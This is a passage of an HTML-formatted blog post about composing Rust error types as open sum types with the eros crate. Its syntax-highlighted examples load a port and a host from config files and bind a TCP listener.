&lt;p&gt;The usual advice is to use typed errors in libraries and opaque errors in applications. But applications need typed recovery too, and libraries often contain internal operations whose callers only need to propagate a failure. The useful distinction is whether a caller needs to &lt;strong&gt;do something different based on the error type&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Error Types Should Compose&lt;/h2&gt;
&lt;p&gt;What we actually want to say is simple: this function can fail with an &lt;code&gt;io::Error&lt;/code&gt; or a &lt;code&gt;ParseIntError&lt;/code&gt;. Declaring an enum is one way to express that, but the combination itself should not need a new type declaration.&lt;/p&gt;
&lt;p&gt;I use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/mcmah309/eros&quot;&gt;eros&lt;/a&gt; to express this as an error set. The port example becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-other syntax-rust&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;IntoUnion&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-keyword syntax-other syntax-rust&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;io&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;num&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;ParseIntError&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;load_port&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;, &lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;io&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;Error, ParseIntError&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; contents &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;fs&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;read_to_string&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    contents.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No new enum or conversions need to be declared. For reuse, the set can be named with a normal type alias:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-type syntax-rust&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-type syntax-rust&quot;&gt;PortErrors&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;io&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;Error&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;num&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;ParseIntError&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;eros::Result&amp;lt;T, E&amp;gt;&lt;/code&gt; is an alias for the ordinary &lt;code&gt;Result&amp;lt;T, ErrorUnion&amp;lt;E&amp;gt;&amp;gt;&lt;/code&gt;. Here, &lt;code&gt;ErrorUnion&amp;lt;(io::Error, ParseIntError)&amp;gt;&lt;/code&gt; holds &lt;strong&gt;one&lt;/strong&gt; of the listed errors. The tuple describes the possible types; it does not store both errors. This is an &lt;em&gt;open sum type&lt;/em&gt;: we describe the combination we need without declaring a new named enum for that combination.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.union()&lt;/code&gt; wraps an ordinary result’s error in an &lt;code&gt;ErrorUnion&lt;/code&gt;, inferring the destination set from the surrounding code. If we remove &lt;code&gt;io::Error&lt;/code&gt; from this signature, the file read no longer compiles. We cannot accidentally propagate an error that the signature does not include.&lt;/p&gt;
&lt;p&gt;This becomes more useful when functions are combined. Suppose we also load the server’s host address. Building on &lt;code&gt;load_port&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-other syntax-rust&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;ReshapeUnion&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-keyword syntax-other syntax-rust&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;net&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;AddrParseError&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; IpAddr&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; TcpListener&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;load_host&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;IpAddr, &lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;io&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;Error, AddrParseError&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; contents &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;fs&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;read_to_string&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    contents.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;bind_server&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;TcpListener, &lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;io&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;Error, AddrParseError, ParseIntError&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; host &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;load_host&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;config/host.txt&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;widen&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; port &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;load_port&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;config/port.txt&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;widen&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;TcpListener&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;bind&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;host&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; port&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;.widen()&lt;/code&gt; converts an existing union into a union whose set contains all its possible errors. Both configuration operations can return an &lt;code&gt;io::Error&lt;/code&gt;, so we list it once. Context can describe which operation failed.&lt;/p&gt;
&lt;p&gt;Widening into a set that omits a possible error is rejected at compile time. The caller describes the combined possibilities without wrapping each function’s errors in another layer of enums. Adding another operation means adding its possible errors to the set, and the compiler checks that we have accounted for them.&lt;/p&gt;
&lt;h2&gt;Handling Errors Changes The Type&lt;/h2&gt;
&lt;p&gt;Declaring precise errors becomes much more useful when handling an error removes it from the set.&lt;/p&gt;
&lt;p&gt;For example, suppose our policy is to use port 8080 whenever reading the port file fails, while still rejecting malformed contents:&lt;/p&gt;
